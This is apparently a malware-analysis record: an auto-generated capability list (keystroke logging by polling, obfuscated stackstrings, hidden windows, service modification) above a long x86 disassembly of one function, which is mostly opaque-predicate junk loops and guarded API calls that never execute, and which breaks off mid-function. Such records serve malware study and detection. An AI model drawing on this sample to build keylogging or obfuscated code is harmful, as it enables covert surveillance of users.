Function at 0x4777c5
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Hide graphical window
Identify system language via api
Log keystrokes via polling
Modify service
Query or enumerate registry key
Read .ini file
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37b0
call fcn.004b09c0
push esi
push edi
mov dword [ebp - 0x244], 0
jmp 0x4777ed
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 3
jge 0x477809
mov eax, dword [ebp - 0x244]
mov dword [ebp + eax*4 - 0x3154], 0xffffffff
jmp 0x4777e0
mov dword [ebp - 0x244], 0
jmp 0x477822
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 4
jge 0x47783e
mov eax, dword [ebp - 0x244]
mov dword [ebp + eax*4 - 0x29c4], 0x5252cb13
jmp 0x477815
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x29c4], 0
jmp 0x47786c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x29c4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x29c4], 2
jg 0x47798a
mov dword [ebp - 0xa64], 0x82eac453
mov dword [ebp - 0x2298], 0xfff9
mov byte [ebp - 0x421], 0
movzx eax, byte [ebp - 0x421]
test eax, eax
je 0x4778b8
push 0x555
push 0x1648
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
mov dword [ebp - 0xa64], 2
jmp 0x4778d1
mov eax, dword [ebp - 0xa64]
dec eax
mov dword [ebp - 0xa64], eax
cmp dword [ebp - 0xa64], 0
jl 0x477985
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c4]
cmp dword [ebp + eax*4 - 0x3154], 0
je 0x477940
mov dword [ebp - 0x57c], 0x6c516535
mov dword [ebp - 0x57c], 0
mov dword [ebp - 0x57c], 0
jmp 0x477922
mov eax, dword [ebp - 0x57c]
inc eax
mov dword [ebp - 0x57c], eax
cmp dword [ebp - 0x57c], 3
jge 0x47793e
mov eax, dword [ebp - 0x57c]
mov dword [ebp + eax*4 - 0x3154], 0xec7516a2
jmp 0x477915
jmp 0x477972
mov byte [ebp - 0x2d1], 0
movzx eax, byte [ebp - 0x2d1]
test eax, eax
je 0x477972
push 0x211d
push 0x123e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
cmp dword [ebp - 0x2298], 0
je 0x477980
jmp 0x4778c4
jmp 0x4778c4
jmp 0x477851
mov dword [ebp - 0x360], 0xfffffff6
mov dword [ebp - 0x17e0], 0x5d0d658e
mov dword [ebp - 0xa94], 0x2d2c87a7
mov dword [ebp - 0x20f4], 0xfffffffd
mov dword [ebp - 0x2610], 0x2758
mov dword [ebp - 0x211c], 6
mov dword [ebp - 0x2618], 0xffffffff
mov dword [ebp - 0xa6c], 0
jmp 0x4779e9
mov eax, dword [ebp - 0xa6c]
inc eax
mov dword [ebp - 0xa6c], eax
cmp dword [ebp - 0xa6c], 3
jge 0x477a05
mov eax, dword [ebp - 0xa6c]
mov dword [ebp + eax*4 - 0x3164], 0x3e13
jmp 0x4779dc
mov byte [ebp - 0x451], 0
movzx eax, byte [ebp - 0x451]
test eax, eax
je 0x477a24
push 0x15fb
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x30f0], eax
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x17e0], eax
mov eax, dword [ebp - 0x17e0]
mov dword [ebp - 0xa94], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3164]
cmp dword [ebp - 0xa94], eax
jge 0x477a69
mov dword [ebp - 0x20ec], 1
jmp 0x477a70
and dword [ebp - 0x20ec], 0
mov eax, dword [ebp - 0x20ec]
mov dword [ebp - 0x20f4], eax
mov eax, dword [ebp - 0x20f4]
sub eax, dword [ebp - 0x360]
cmp dword [ebp - 0x360], eax
jg 0x477aa2
cmp dword [ebp - 0x2610], 0
jne 0x477aa2
and dword [ebp - 0x20fc], 0
jmp 0x477aac
mov dword [ebp - 0x20fc], 1
mov eax, dword [ebp - 0x360]
cmp eax, dword [ebp - 0x20fc]
jge 0x477ac6
mov dword [ebp - 0x2104], 1
jmp 0x477acd
and dword [ebp - 0x2104], 0
mov eax, dword [ebp - 0x360]
cmp dword [ebp - 0x2104], eax
jle 0x477af0
cmp dword [ebp - 0xa94], 0
je 0x477af0
mov dword [ebp - 0x210c], 1
jmp 0x477af7
and dword [ebp - 0x210c], 0
mov eax, dword [ebp - 0x360]
cmp eax, dword [ebp - 0x210c]
jle 0x477b11
mov dword [ebp - 0x2114], 1
jmp 0x477b18
and dword [ebp - 0x2114], 0
mov eax, dword [ebp - 0x2114]
mov dword [ebp - 0x211c], eax
mov eax, dword [ebp - 0x211c]
push 4
pop ecx
shl ecx, 1
imul eax, dword [ebp + ecx - 0x3164]
mov dword [ebp - 0x2618], eax
mov dword [ebp - 0x584], 0xe83c773
mov dword [ebp - 0xa74], 0
jmp 0x477b60
mov eax, dword [ebp - 0xa74]
inc eax
mov dword [ebp - 0xa74], eax
cmp dword [ebp - 0xa74], 3
jge 0x477b7c
mov eax, dword [ebp - 0xa74]
mov dword [ebp + eax*4 - 0x2768], 0xfffffffe
jmp 0x477b53
mov byte [ebp - 0x2d3], 0
movzx eax, byte [ebp - 0x2d3]
test eax, eax
je 0x477b9d
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
mov dword [ebp - 0x584], 2
jmp 0x477bb6
mov eax, dword [ebp - 0x584]
dec eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 0
jl 0x477ec7
mov dword [ebp - 0x25c], 0xbb11accb
mov dword [ebp - 0x25c], 2
jmp 0x477be6
mov eax, dword [ebp - 0x25c]
dec eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0
jl 0x477ec2
mov dword [ebp - 0x67c], 0xea5223fa
mov dword [ebp - 0x868], 0
jmp 0x477c16
mov eax, dword [ebp - 0x868]
inc eax
mov dword [ebp - 0x868], eax
cmp dword [ebp - 0x868], 1
jge 0x477c32
mov eax, dword [ebp - 0x868]
mov dword [ebp + eax*4 - 0x654], 1
jmp 0x477c09
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x654], 0
jmp 0x477c60
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x654]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x654], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x654], 2
jg 0x477cd6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x654]
cmp dword [ebp + eax*4 - 0x2768], 1
jb 0x477c93
mov dword [ebp - 0x2124], 1
jmp 0x477c9a
and dword [ebp - 0x2124], 0
mov eax, dword [ebp - 0x584]
mov ecx, dword [ebp - 0x2124]
mov dword [ebp + eax*4 - 0x2768], ecx
mov byte [ebp - 0x33d], 0
movzx eax, byte [ebp - 0x33d]
test eax, eax
je 0x477cd1
push 0x1e8b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
jmp 0x477c45
mov dword [ebp - 0x67c], 2
jmp 0x477cef
mov eax, dword [ebp - 0x67c]
dec eax
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 0
jl 0x477ebd
mov dword [ebp - 0x213c], 0x67bc620
mov dword [ebp - 0x2620], 0xfffffffd
mov dword [ebp - 0x874], 0
jmp 0x477d29
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
cmp dword [ebp - 0x874], 4
jge 0x477d45
mov eax, dword [ebp - 0x874]
mov dword [ebp + eax*4 - 0x28dc], 0xfffffffd
jmp 0x477d1c
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x28dc], 2
jmp 0x477d73
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x28dc]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x28dc], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x28dc], 0
jl 0x477eb8
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x2d30], eax
push 7
pop eax
test eax, eax
je 0x477dab
or eax, 0xffffffff
je 0x477dab
mov dword [ebp - 0x212c], 1
jmp 0x477db2
and dword [ebp - 0x212c], 0
mov eax, dword [ebp - 0x25c]
mov eax, dword [ebp + eax*4 - 0x2768]
cmp eax, dword [ebp - 0x212c]
jle 0x477dd3
mov dword [ebp - 0x2134], 1
jmp 0x477dda
and dword [ebp - 0x2134], 0
mov eax, dword [ebp - 0x2134]
mov dword [ebp - 0x213c], eax
mov eax, dword [ebp - 0x584]
cmp dword [ebp - 0x213c], eax
jge 0x477e00
mov dword [ebp - 0x2144], 1
jmp 0x477e07
and dword [ebp - 0x2144], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x28dc]
cmp dword [ebp - 0x2144], eax
jg 0x477e28
mov dword [ebp - 0x214c], 1
jmp 0x477e2f
and dword [ebp - 0x214c], 0
cmp dword [ebp - 0x214c], 0xd4d1
jne 0x477e57
mov eax, dword [ebp - 0x25c]
cmp dword [ebp + eax*4 - 0x2768], 0
je 0x477e57
mov dword [ebp - 0x216c], 1
jmp 0x477e5e
and dword [ebp - 0x216c], 0
mov eax, dword [ebp - 0x25c]
mov eax, dword [ebp + eax*4 - 0x2768]
neg eax
cmp eax, dword [ebp - 0x216c]
jne 0x477e81
mov dword [ebp - 0x2174], 1
jmp 0x477e88
and dword [ebp - 0x2174], 0
cmp dword [ebp - 0x2174], 0xe0f61949
jb 0x477ea0
mov dword [ebp - 0x217c], 1
jmp 0x477ea7
and dword [ebp - 0x217c], 0
mov eax, dword [ebp - 0x217c]
mov dword [ebp - 0x2620], eax
jmp 0x477d58
jmp 0x477ce2
jmp 0x477bd9
jmp 0x477ba9
mov dword [ebp - 0x684], 0xffffffff
mov dword [ebp - 0x2628], 0xfffffffd
mov dword [ebp - 0x684], 0xfffffff7
jmp 0x477ef4
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 0xfffffff9
jl 0x477f2b
cmp dword [ebp - 0x2628], 0
je 0x477f08
jmp 0x477f2b
mov byte [ebp - 0x2d5], 0
movzx eax, byte [ebp - 0x2d5]
test eax, eax
je 0x477f29
push 0x1cf8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
jmp 0x477ee7
mov dword [ebp - 0xd4], 0x91a049fe
mov dword [ebp - 0x87c], 0
jmp 0x477f4e
mov eax, dword [ebp - 0x87c]
inc eax
mov dword [ebp - 0x87c], eax
cmp dword [ebp - 0x87c], 1
jge 0x477f6a
mov eax, dword [ebp - 0x87c]
mov dword [ebp + eax*4 - 0x2194], 0xfffffff8
jmp 0x477f41
mov dword [ebp - 0xd4], 0
jmp 0x477f83
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x12
jl 0x478186
mov dword [ebp - 0x368], 0x22124f84
mov dword [ebp - 0x2640], 5
mov dword [ebp - 0x368], 0
jmp 0x477fbd
mov eax, dword [ebp - 0x368]
dec eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0xffffffe2
je 0x478181
mov dword [ebp - 0x2630], 0x6565
mov dword [ebp - 0xbf4], 4
mov dword [ebp - 0x68c], 0
jmp 0x477ff7
mov eax, dword [ebp - 0x68c]
inc eax
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x68c], 2
jge 0x478013
mov eax, dword [ebp - 0x68c]
mov dword [ebp + eax*4 - 0x2e7c], 0x54207647
jmp 0x477fea
cmp dword [ebp - 0x2630], 0
je 0x478162
cmp dword [ebp - 0xd4], 0
je 0x47803e
mov eax, 0x5d56974e
test eax, eax
je 0x47803e
mov dword [ebp - 0x2184], 1
jmp 0x478045
and dword [ebp - 0x2184], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x2184], eax
jl 0x478068
cmp dword [ebp - 0x368], 0
je 0x478068
mov dword [ebp - 0x218c], 1
jmp 0x47806f
and dword [ebp - 0x218c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2194]
cmp dword [ebp - 0x218c], eax
jle 0x478090
mov dword [ebp - 0x2638], 1
jmp 0x478097
and dword [ebp - 0x2638], 0
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x2d38], eax
mov eax, dword [ebp - 0xbf4]
mov dword [ebp - 0x219c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x219c]
mov dword [ebp + eax - 0x2e7c], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2194]
cmp dword [ebp - 0x219c], eax
jne 0x4780e3
mov dword [ebp - 0x1dc8], 1
jmp 0x4780ea
and dword [ebp - 0x1dc8], 0
mov eax, dword [ebp - 0x368]
cmp eax, dword [ebp - 0x1dc8]
jl 0x478104
mov dword [ebp - 0xcf4], 1
jmp 0x47810b
and dword [ebp - 0xcf4], 0
mov eax, dword [ebp - 0x368]
cmp eax, dword [ebp - 0xcf4]
jne 0x478125
mov dword [ebp - 0x1c2c], 1
jmp 0x47812c
and dword [ebp - 0x1c2c], 0
mov eax, dword [ebp - 0xbf4]
cmp dword [ebp - 0x1c2c], eax
jge 0x478146
mov dword [ebp - 0xcfc], 1
jmp 0x47814d
and dword [ebp - 0xcfc], 0
mov eax, dword [ebp - 0xcfc]
dec eax
je 0x478162
mov dword [ebp - 0x1c34], 1
jmp 0x478169
and dword [ebp - 0x1c34], 0
mov eax, dword [ebp - 0xbf4]
imul eax, dword [ebp - 0x1c34]
mov dword [ebp - 0x2640], eax
jmp 0x477fb0
jmp 0x477f76
mov dword [ebp - 0xd4], 0
jmp 0x47819f
mov eax, dword [ebp - 0xd4]
dec eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0xffffffe5
jg 0x478203
mov dword [ebp - 0x884], 1
mov dword [ebp - 0x884], 0
jmp 0x4781cb
mov eax, dword [ebp - 0x884]
inc eax
mov dword [ebp - 0x884], eax
cmp dword [ebp - 0x884], 0
jg 0x478201
mov byte [ebp - 0x3b9], 0
movzx eax, byte [ebp - 0x3b9]
test eax, eax
je 0x4781ff
push 0x18c9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
jmp 0x4781be
jmp 0x478192
mov dword [ebp - 0x694], 0x146cdead
mov dword [ebp - 0xc14], 0x8fa48a2b
mov dword [ebp - 0x2d40], 0x39d5b611
mov dword [ebp - 0x2650], 0
mov dword [ebp - 0xd34], 0xffffffff
mov dword [ebp - 0xc0c], 0xfffffffd
mov dword [ebp - 0xa9c], 0x32b7b88c
mov dword [ebp - 0xc04], 0xff5ecce3
mov dword [ebp - 0x1c6c], 0x2ef7e291
mov dword [ebp - 0x2648], 1
mov dword [ebp - 0xd04], 0
mov dword [ebp - 0x2660], 0x8404d083
mov dword [ebp - 0x2668], 0x936b
mov dword [ebp - 0x2d48], 0x4a05a9ee
mov dword [ebp - 0xbfc], 0xfff6
mov dword [ebp - 0xc40], 0xffffffff
mov dword [ebp - 0x158], 0
jmp 0x4782bc
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 2
jge 0x4782d8
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x26bc], 0x55f992db
jmp 0x4782af
mov dword [ebp - 0x158], 0
jmp 0x4782f1
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 1
jge 0x47830d
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x568], 0xb643c8f4
jmp 0x4782e4
mov eax, dword [ebp - 0xd04]
dec eax
mov dword [ebp - 0xd04], eax
mov eax, dword [ebp - 0xc04]
mov dword [ebp - 0x2d50], eax
mov eax, dword [ebp - 0xa9c]
mov dword [ebp - 0x2d58], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x26bc]
cmp dword [ebp - 0x1c6c], eax
jge 0x478353
mov dword [ebp - 0x1c3c], 1
jmp 0x47835a
and dword [ebp - 0x1c3c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x568]
imul eax, dword [ebp - 0x1c3c]
cmp eax, dword [ebp - 0xc0c]
jg 0x478392
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x26bc], 0
je 0x478392
mov dword [ebp - 0xd0c], 1
jmp 0x478399
and dword [ebp - 0xd0c], 0
mov eax, dword [ebp - 0x694]
cmp eax, dword [ebp - 0xd0c]
je 0x4783b3
mov dword [ebp - 0x1c44], 1
jmp 0x4783ba
and dword [ebp - 0x1c44], 0
cmp dword [ebp - 0x1c44], 0xbbb531ea
jb 0x4783d2
mov dword [ebp - 0xd14], 1
jmp 0x4783d9
and dword [ebp - 0xd14], 0
mov eax, dword [ebp - 0xd14]
mov dword [ebp - 0xa9c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x26bc], 1
ja 0x478401
mov dword [ebp - 0x1c4c], 1
jmp 0x478408
and dword [ebp - 0x1c4c], 0
mov eax, dword [ebp - 0xc04]
cmp dword [ebp - 0x1c4c], eax
je 0x478422
mov dword [ebp - 0xd1c], 1
jmp 0x478429
and dword [ebp - 0xd1c], 0
mov eax, dword [ebp - 0x694]
add eax, dword [ebp - 0xd1c]
je 0x478443
mov dword [ebp - 0x1c54], 1
jmp 0x47844a
and dword [ebp - 0x1c54], 0
cmp dword [ebp - 0x1c54], 0x6b6f
jge 0x47846b
cmp dword [ebp - 0xc0c], 0
je 0x47846b
mov dword [ebp - 0xd24], 1
jmp 0x478472
and dword [ebp - 0xd24], 0
cmp dword [ebp - 0xd24], 1
jg 0x478487
mov dword [ebp - 0x1c5c], 1
jmp 0x47848e
and dword [ebp - 0x1c5c], 0
mov eax, dword [ebp - 0x2648]
cmp dword [ebp - 0x1c5c], eax
jg 0x4784ce
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x568], 0
jne 0x4784ce
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x568], 0
jne 0x4784ce
cmp dword [ebp - 0xd34], 0
jne 0x4784ce
and dword [ebp - 0xd2c], 0
jmp 0x4784d8
mov dword [ebp - 0xd2c], 1
mov eax, dword [ebp - 0x694]
cmp eax, dword [ebp - 0xd2c]
jge 0x4784f2
mov dword [ebp - 0x1c64], 1
jmp 0x4784f9
and dword [ebp - 0x1c64], 0
mov eax, dword [ebp - 0x1c64]
sub eax, dword [ebp - 0x2650]
cmp eax, dword [ebp - 0xd34]
jne 0x478519
mov dword [ebp - 0x2658], 1
jmp 0x478520
and dword [ebp - 0x2658], 0
mov eax, dword [ebp - 0x2660]
mov dword [ebp - 0x2d60], eax
mov eax, dword [ebp - 0xc14]
mov dword [ebp - 0x2d68], eax
mov eax, dword [ebp - 0x1c6c]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0x568]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x568]
jne 0x478566
mov dword [ebp - 0xd3c], 1
jmp 0x47856d
and dword [ebp - 0xd3c], 0
mov eax, dword [ebp - 0x2668]
cmp dword [ebp - 0xd3c], eax
jne 0x478587
mov dword [ebp - 0x1c74], 1
jmp 0x47858e
and dword [ebp - 0x1c74], 0
mov eax, dword [ebp - 0x1c74]
mov dword [ebp - 0xc14], eax
mov eax, dword [ebp - 0xbfc]
dec eax
mov dword [ebp - 0xbfc], eax
jne 0x4785eb
mov dword [ebp - 0xc40], 0xc94a746
mov eax, dword [ebp - 0xc04]
cmp dword [ebp - 0xc40], eax
je 0x4785cd
mov dword [ebp - 0xd44], 1
jmp 0x4785d4
and dword [ebp - 0xd44], 0
mov eax, dword [ebp - 0xc0c]
sub eax, dword [ebp - 0xd44]
jne 0x4785eb
and dword [ebp - 0x1c7c], 0
jmp 0x4785f5
mov dword [ebp - 0x1c7c], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c7c]
add ecx, 8
cmp dword [ebp + eax - 0x568], ecx
jne 0x478619
mov dword [ebp - 0xd4c], 1
jmp 0x478620
and dword [ebp - 0xd4c], 0
mov eax, dword [ebp - 0x694]
cmp eax, dword [ebp - 0xd4c]
jge 0x47863a
mov dword [ebp - 0x1c84], 1
jmp 0x478641
and dword [ebp - 0x1c84], 0
mov eax, dword [ebp - 0x1c84]
mov dword [ebp - 0xc14], eax
mov eax, dword [ebp - 0xc40]
mov dword [ebp - 0xa9c], eax
mov dword [ebp - 0x234], 0
jmp 0x478672
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 3
jge 0x47868e
mov eax, dword [ebp - 0x234]
mov dword [ebp + eax*4 - 0x3174], 0xffffffff
jmp 0x478665
mov dword [ebp - 0x7c], 0xfffffff9
mov dword [ebp - 0x20c], 0
jmp 0x4786ae
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 1
jge 0x4786ca
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0x2678], 0
jmp 0x4786a1
mov dword [ebp - 0x20c], 0
jmp 0x4786e3
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 3
jge 0x4786ff
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0x3478], 1
jmp 0x4786d6
mov dword [ebp - 0x7c], 0
jmp 0x47870f
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xffffffe4
jne 0x478909
mov dword [ebp - 0x160], 0x8999d94b
mov dword [ebp - 0xb94], 9
mov dword [ebp - 0x2d70], 0xc0f1fa6f
mov dword [ebp - 0x2d78], 0x1b5f7a0d
mov dword [ebp - 0x2d80], 1
mov dword [ebp - 0x2d88], 0xfffffffd
mov dword [ebp - 0x1ca4], 4
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x2d90], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x2d98], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x2da0], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x2da8], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x2db0], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x2db8], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x2dc0], eax
mov eax, dword [ebp - 0xb94]
cmp dword [ebp - 0x160], eax
jl 0x4787c7
mov dword [ebp - 0xd54], 1
jmp 0x4787ce
and dword [ebp - 0xd54], 0
mov eax, dword [ebp - 0xb94]
cmp dword [ebp - 0xd54], eax
jle 0x4787e8
mov dword [ebp - 0x1c8c], 1
jmp 0x4787ef
and dword [ebp - 0x1c8c], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x1c8c], eax
je 0x47880c
cmp dword [ebp - 0xb94], 0
jne 0x47880c
and dword [ebp - 0x2670], 0
jmp 0x478816
mov dword [ebp - 0x2670], 1
cmp dword [ebp - 0x7c], 0
je 0x478838
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2678], 0
je 0x478838
mov dword [ebp - 0x2680], 1
jmp 0x47883f
and dword [ebp - 0x2680], 0
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x2dc8], eax
mov eax, dword [ebp - 0x160]
cmp dword [ebp - 0x160], eax
jl 0x478865
mov dword [ebp - 0xd5c], 1
jmp 0x47886c
and dword [ebp - 0xd5c], 0
cmp dword [ebp - 0xd5c], 1
jg 0x478885
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x478885
and dword [ebp - 0x1c94], 0
jmp 0x47888f
mov dword [ebp - 0x1c94], 1
cmp dword [ebp - 0x1c94], 1
je 0x4788a4
mov dword [ebp - 0xd64], 1
jmp 0x4788ab
and dword [ebp - 0xd64], 0
cmp dword [ebp - 0xd64], 5
jle 0x4788c0
mov dword [ebp - 0x1c9c], 1
jmp 0x4788c7
and dword [ebp - 0x1c9c], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x1c9c], eax
jg 0x4788de
mov dword [ebp - 0xd6c], 1
jmp 0x4788e5
and dword [ebp - 0xd6c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xd6c]
mov dword [ebp + eax - 0x3478], ecx
mov eax, dword [ebp - 0x1ca4]
inc eax
mov dword [ebp - 0x1ca4], eax
jmp 0x478708
mov dword [ebp - 0x7c], 0
jmp 0x478919
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 8
jg 0x478942
mov byte [ebp - 0x2d7], 0
movzx eax, byte [ebp - 0x2d7]
test eax, eax
je 0x478940
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
jmp 0x478912
mov dword [ebp - 0x234], 0
jmp 0x47895b
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 4
jge 0x478977
mov eax, dword [ebp - 0x234]
mov dword [ebp + eax*4 - 0x2914], 0x5252cb13
jmp 0x47894e
mov dword [ebp - 0x574], 0x57fd5464
mov dword [ebp - 0x2688], 0x9bfaead2
mov dword [ebp - 0x88c], 0
jmp 0x4789a4
mov eax, dword [ebp - 0x88c]
inc eax
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x88c], 3
jge 0x4789c0
mov eax, dword [ebp - 0x88c]
mov dword [ebp + eax*4 - 0x2778], 0xd7b1
jmp 0x478997
mov byte [ebp - 0x33f], 0
movzx eax, byte [ebp - 0x33f]
test eax, eax
je 0x4789e4
push 0x149f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov dword [ebp - 0x574], 0
jmp 0x4789fd
mov eax, dword [ebp - 0x574]
dec eax
mov dword [ebp - 0x574], eax
cmp dword [ebp - 0x574], 0xfffffffb
jl 0x478d3e
mov dword [ebp - 0x100], 0
mov dword [ebp - 0x1cdc], 0xb9c6fec1
mov dword [ebp - 0x69c], 0
jmp 0x478a37
mov eax, dword [ebp - 0x69c]
inc eax
mov dword [ebp - 0x69c], eax
cmp dword [ebp - 0x69c], 1
jge 0x478a53
mov eax, dword [ebp - 0x69c]
mov dword [ebp + eax*4 - 0x1ccc], 7
jmp 0x478a2a
mov dword [ebp - 0x100], 0
jmp 0x478a6c
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 2
jg 0x478d0e
mov dword [ebp - 0xaa4], 0xffffffff
mov eax, dword [ebp - 0x100]
cmp dword [ebp + eax*4 - 0x2778], 0
je 0x478aa8
mov eax, dword [ebp - 0x100]
dec eax
je 0x478aa8
mov dword [ebp - 0x1cac], 1
jmp 0x478aaf
and dword [ebp - 0x1cac], 0
mov eax, dword [ebp - 0x574]
mov dword [ebp - 0x2dd0], eax
mov eax, dword [ebp - 0x100]
cmp dword [ebp + eax*4 - 0x2778], 0x25f5f996
jle 0x478ada
mov dword [ebp - 0xd74], 1
jmp 0x478ae1
and dword [ebp - 0xd74], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0xd74], eax
jl 0x478afb
mov dword [ebp - 0xd7c], 1
jmp 0x478b02
and dword [ebp - 0xd7c], 0
mov eax, dword [ebp - 0x1cac]
cmp eax, dword [ebp - 0xd7c]
jne 0x478b1c
mov dword [ebp - 0x1cb4], 1
jmp 0x478b23
and dword [ebp - 0x1cb4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2778]
cmp dword [ebp - 0x1cb4], eax
jle 0x478c0c
mov dword [ebp - 0xd8c], 0xffffffff
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp + eax*4 - 0x2778]
mov dword [ebp - 0x2dd8], eax
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x574], eax
jg 0x478b72
mov dword [ebp - 0xd84], 1
jmp 0x478b79
and dword [ebp - 0xd84], 0
mov eax, dword [ebp - 0xd8c]
imul eax, dword [ebp - 0xd84]
test eax, eax
jne 0x478b98
xor eax, eax
inc eax
jne 0x478b98
and dword [ebp - 0x1cbc], 0
jmp 0x478ba2
mov dword [ebp - 0x1cbc], 1
mov eax, dword [ebp - 0x1cbc]
mov dword [ebp - 0xaa4], eax
mov eax, dword [ebp - 0xd8c]
cmp dword [ebp - 0xaa4], eax
je 0x478bc8
mov dword [ebp - 0x1cc4], 1
jmp 0x478bcf
and dword [ebp - 0x1cc4], 0
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x1cc4]
add ecx, dword [ebp + eax*4 - 0x2778]
